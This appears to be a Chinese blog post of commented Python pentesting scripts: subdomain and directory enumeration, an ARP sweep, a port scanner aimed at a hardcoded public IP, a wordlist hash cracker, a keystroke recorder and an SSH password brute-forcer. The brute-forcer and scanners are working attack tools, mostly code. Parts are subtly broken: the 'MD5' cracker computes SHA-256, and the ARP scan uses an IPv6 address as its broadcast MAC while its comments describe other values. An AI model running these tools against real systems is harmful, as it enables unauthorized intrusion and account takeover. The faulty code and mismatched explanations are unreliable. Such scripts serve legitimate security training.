
子域枚举
# 子域枚举
import requests # 导入requests库,用于发送HTTP请求
import sys # 导入sys模块,用于接收命令行参数
# 从文件"wordlist1.txt"中读取子域名列表
sub_list = open("wordlist1.txt").read()
# 将读取的内容按行分割,并存储在subdoms列表中,每个元素代表一个子域名
subdoms = sub_list.splitlines()
# 遍历子域名列表
for sub in subdoms:
# 构建完整的子域名URL,形式为 "http://子域名.主域名"
sub_domains = f"http://{sub}.{sys.argv[1]}"
try:
# 发送GET请求到拼接好的URL,并将响应存储在response变量中
response = requests.get(sub_domains)
# 检查HTTP响应状态码
if response.status_code == 200:
# 如果响应状态码为200,则打印出有效域名信息
print("有效域名:", sub_domains)
else:
# 如果响应状态码不为200,则打印出域名不存在的信息
print("域名不存在:", sub_domains)
except requests.ConnectionError:
# 捕获连接错误异常,通常是由于网络连接问题引起的
pass
# import requests:导入requests库,用于发送HTTP请求。
# import sys:导入sys模块,用于接收命令行参数。
# sub_list = open("wordlist1.txt").read():打开名为"wordlist1.txt"的文件,读取其中的内容,并将其存储在sub_list变量中。
# subdoms = sub_list.splitlines():将读取的内容按行分割,并存储在subdoms列表中,每个元素代表一个子域名。
# for sub in subdoms: :遍历subdoms列表中的每个子域名。
# sub_domains = f"http://{sub}.{sys.argv[1]}":将当前遍历到的子域名与命令行参数中指定的域名拼接成完整的URL,并存储在sub_domains变量中。这里使用了f - string来动态构建字符串。
# try: :开始一个try代码块,用于捕获可能出现的异常。
# response = requests.get(sub_domains):发送一个GET请求到拼接好的URL,并将响应存储在response变量中。
# if response.status_code == 200: 检查HTTP响应状态码是否为200,表示请求成功。
# print("有效域名:", sub_domains):如果响应状态码为200,则打印出有效域名。
# else::如果响应状态码不为200,则执行下面的语句。
# print("域名不存在:", sub_domains):打印出域名不存在的信息。
# except requests.ConnectionError::捕获requests库可能抛出的ConnectionError异常,这通常是由于网络连接问题引起的。在这种情况下,程序将继续执行而不会中断。
目录枚举
# 目录扫描
import requests # 导入用于发送 HTTP 请求的 requests 模块
import sys # 导入用于获取命令行参数的 sys 模块
# 打开并读取存放目录名的文本文件
sub_list = open("wordlist1.txt").read()
# 将读取的目录名按行分割成列表
directories = sub_list.splitlines()
# 遍历目录列表
for dir in directories:
# 拼接目录的完整 URL
dir_enum = f"http://{sys.argv[1]}/{dir}.html"
# 发送 HTTP GET 请求检查目录是否存在
r = requests.get(dir_enum)
# 如果返回状态码为 404(页面未找到),则跳过该目录
if r.status_code == 404:
pass
else:
# 如果返回状态码不是 404,则打印出有效的目录地址
print("Valid directory:", dir_enum) # 打印有效目录地址
# 使用 requests 模块来发送 HTTP 请求。
# 使用 sys.argv[1] 获取脚本执行时传入的第一个参数,作为要检查的 URL 的基础部分。
# 从名为 "wordlist.txt" 的文件中读取目录列表。
# 使用 splitlines() 方法将文件内容按行拆分为一个目录列表。
# 遍历目录列表,针对每个目录,构造完整的目录 URL(以 .html 结尾)。
# 使用 requests.get() 发送 HTTP GET 请求来检查目录是否存在。
# 如果返回的状态码是 404(即页面未找到),则忽略该目录。
# 否则,打印出存在的目录。
网络扫描
# 网络扫描
from scapy.all import * # 导入 Scapy 库的所有功能
from scapy.layers.l2 import Ether, ARP # 导入 Ethernet 和 ARP 协议层
interface = "WLAN" # 指定网络接口名称
ip_range = "172.22.120.182/24" # 指定 IP 地址范围
broadcastMac = "fe80::2207:59c8:dea4:38da%19" # 指定广播 MAC 地址
# 构造 ARP 请求包,发送至指定 IP 地址范围
packet = Ether(dst=broadcastMac) / ARP(pdst=ip_range)
# 发送 ARP 请求并等待响应,设置超时时间为 2 秒
ans, unans = srp(packet, timeout=2, iface=interface, inter=0.1)
# 遍历收到的响应包,并打印发送方的 MAC 地址和对应的 IP 地址
for send, receive in ans:
print(receive.sprintf(r"%Ether.src% - %ARP.psrc%")) # 打印收到的 MAC 地址和 IP 地址
# 以上Python代码使用了Scapy库来进行ARP扫描,具体分析如下:
#
# 从scapy.all中导入所有功能,用于构造与发送数据包。
# 定义了接口interface为eth0,目标IP范围ip_range为10.10.X.X/24,广播MAC地址broadcastMac为ff:ff:ff:ff:ff:ff。
# 构造一个ARP数据包packet,以广播MAC地址为目标MAC地址dst,ARP请求的目标IP地址pdst为ip_range。
# 使用srp()发送probe request数据包packet,设置超时时间timeout为2秒,接口iface为eth0,间隔inter为0.1秒。
# srp()会返回被应答的报文ans和未被应答的报文unans。
# 使用for遍历ans中的发送报文send和接收报文receive,使用receive.sprintf()来格式化接收报文,最终将打印Ether.src(源MAC地址)和ARP.psrc(源IP地址)。
# 该代码实现了对ip_range地址范围内的主机发出ARP请求,获取活跃主机的MAC地址与IP地址,实现一个简单的ARP扫描工具。
#
# 代码总结:
#
# 使用Scapy构造和发送ARP请求报文。
# 设置接口、目标IP范围和超时时间。
# 获取被应答的报文。
# 遍历获取的报文,打印源MAC地址和源IP地址。
端口扫描
# 端口扫描
import sys
import socket
import pyfiglet
# 生成 ASCII 艺术字体的横幅
ascii_banner = pyfiglet.figlet_format("XIAOWU \nPort Scanner")
print(ascii_banner)
# 要扫描的目标 IP 地址
ip = '47.109.103.183'
# 存储开放端口的列表
open_ports = []
# 要扫描的端口列表
ports = {21, 22, 23, 53, 80, 135, 443, 445, 2100,3306}
# ports=range(1,65535)
# 探测端口是否开放的函数
def probe_port(ip, port, result=1):
try:
# 创建 TCP 套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 设置连接超时时间为 0.5 秒
sock.settimeout(0.5)
# 尝试连接指定的 IP 和端口
r = sock.connect_ex((ip, port))
# 若连接成功,则将 result 置为 0
if r == 0:
result = r
# 关闭套接字连接
sock.close()
except Exception as e:
pass
return result
# 遍历端口列表,探测每个端口是否开放
for port in ports:
sys.stdout.flush()
response = probe_port(ip, port)
if response == 0:
open_ports.append(port)
# 如果存在开放的端口,则打印出这些开放的端口,否则打印无开放端口的提示信息
if open_ports:
print("Open Ports are: ")
print(sorted(open_ports))
else:
print("Looks like no ports are open :(")
# 这段代码是一个简单的端口扫描器,它使用 Python 的 socket 库来扫描指定 IP 地址上的端口。以下是代码的简要解释:
#
# 导入必要的库:sys 用于系统相关操作,socket 用于网络连接,pyfiglet 用于生成艺术字体的字符串。
#
# 使用 pyfiglet 生成一个 ASCII 艺术字体的横幅,并打印出来。
#
# 指定要扫描的目标 IP 地址。
#
# 定义要扫描的端口列表 ports,这些端口是常见的一些服务端口。
#
# 定义了一个名为 probe_port 的函数,用于探测指定 IP 和端口是否开放。该函数创建了一个 TCP 套接字,并尝试连接指定的 IP 和端口,若连接成功则返回 0,否则抛出异常。
#
# 遍历端口列表,调用 probe_port 函数来检测每个端口是否开放,如果开放则将端口号添加到 open_ports 列表中。
#
# 最后,如果存在开放的端口,则打印出这些开放的端口,否则打印“Looks like no ports are open :(”。
#
# 该端口扫描器只能扫描指定 IP 地址上的固定端口列表,如果需要扫描更广泛的端口范围,需要修改 ports 变量为一个更大的范围,比如从 1 到 65535。
文件下载
# 文件下载
import requests
# 要下载的文件的 URL
url = 'https://assets.tryhackme.com/img/THMlogo.png'
# 发起 GET 请求,下载文件,并允许重定向
r = requests.get(url, allow_redirects=True)
# 将下载的文件内容写入本地 THMlogo.png 文件中
open('THMlogo.png', 'wb').write(r.content)
# 导入必要的库:requests 用于获取网络资源。
#
# 指定要下载的文件的 URL。
#
# 调用 requests 库的 get() 方法,传递 URL 和 allow_redirects=True 参数,以允许重定向。
#
# 检查响应对象 r 的状态码,如果为 200(即成功),则执行下一步,否则抛出异常。
#
# 将下载的文件内容写入本地文件 THMlogo.png 中。
哈希破解
# 哈希破解
import hashlib # 导入哈希算法库
import pyfiglet # 导入生成ASCII艺术横幅的库
# 生成ASCII艺术横幅
ascii_banner = pyfiglet.figlet_format("xiaowu \n HASH CRACKER for MD 5")
print(ascii_banner)
# 获取用户输入的单词列表文件位置和要被破解的散列值
wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))
# 打开单词列表文件,逐行读取并计算MD5散列值,尝试匹配输入的散列值
with open(wordlist_location, 'r') as file:
for line in file.readlines():
hash_ob = hashlib.sha256(line.strip().encode()) # 计算单词的MD5散列值
hashed_pass = hash_ob.hexdigest()
if hashed_pass == hash_input: # 如果匹配成功,输出原始密码并结束程序
print('cleartext password is : ' + line.strip())
exit(0)
键盘记录
# 导入keyboard库
import keyboard
# 使用keyboard库记录键盘输入,直到按下Enter键为止
keys = keyboard.record(until='ENTER')
# 重新播放记录的键盘输入
keyboard.play(keys)
SSH暴力破解
# ssh暴力破解
import paramiko # 导入Paramiko库用于SSH连接
import pyfiglet # 导入生成ASCII艺术横幅的库
# 生成ASCII艺术横幅
ascii_banner = pyfiglet.figlet_format("xiaowu \n SSH Brute Forcing")
print(ascii_banner)
target = str(input('Please enter target IP address: ')) # 获取目标IP地址
username = str(input('Please enter username to bruteforce: ')) # 获取要破解的用户名
password_file = str(input('Please enter location of the password file: ')) # 获取存储密码的文件位置
# 定义SSH连接函数
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=22, username=username, password=password) # 尝试使用给定的密码进行SSH连接
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
# 打开存储密码的文件,逐行读取密码并尝试SSH连接
with open(password_file, 'r') as file: # 使用用户输入的密码文件位置
for line in file.readlines():
password = line.strip()
try:
response = ssh_connect(password) # 调用SSH连接函数
if response == 0:
print('password found: ' + password) # 如果密码正确,输出找到的密码并结束程序
exit(0)
elif response == 1:
print('no luck') # 如果密码错误,提示破解失败
except Exception as e:
print(e) # 输出异常信息
# import paramiko: 导入Paramiko库,用于SSH连接。
#
# import pyfiglet: 导入pyfiglet库,用于生成ASCII艺术横幅。
#
# ascii_banner = pyfiglet.figlet_format("xiaowu \n SSH Brute Forcing"): 生成ASCII艺术横幅,展示了"xiaowu SSH Brute Forcing"的文本。
#
# print(ascii_banner): 打印生成的ASCII艺术横幅。
#
# target = str(input('Please enter target IP address: ')): 获取用户输入的目标IP地址。
#
# username = str(input('Please enter username to bruteforce: ')): 获取用户输入的要破解的用户名。
#
# password_file = str(input('Please enter location of the password file: ')): 获取用户输入的存储密码的文件位置。
#
# def ssh_connect(password, code=0):: 定义了一个名为ssh_connect的函数,用于尝试使用给定的密码进行SSH连接,并返回连接状态码。
#
# ssh = paramiko.SSHClient(): 创建一个SSHClient对象。
#
# ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()): 设置SSHClient对象的缺失主机密钥策略为AutoAddPolicy。
#
# ssh.connect(target, port=22, username=username, password=password): 尝试使用给定的用户名和密码连接到目标IP地址的SSH服务器。
#
# except paramiko.AuthenticationException: 捕获AuthenticationException异常,表示认证失败。
#
# ssh.close(): 关闭SSH连接。
#
# return code: 返回连接状态码。
#
# with open(password_file, 'r') as file:: 打开用户输入的密码文件。
#
# for line in file.readlines():: 遍历密码文件中的每一行。
#
# password = line.strip(): 去除每行密码两端的空白字符。
#
# response = ssh_connect(password): 使用当前行的密码尝试SSH连接。
#
# if response == 0:: 如果连接状态码为0,表示连接成功。
#
# print('password found: ' + password): 打印找到的密码。
#
# exit(0): 结束程序。
#
# elif response == 1:: 如果连接状态码为1,表示连接失败。
#
# print('no luck'): 输出破解失败的消息。
#
# except Exception as e:: 捕获所有异常。
#
# print(e): 打印异常信息。
网友评论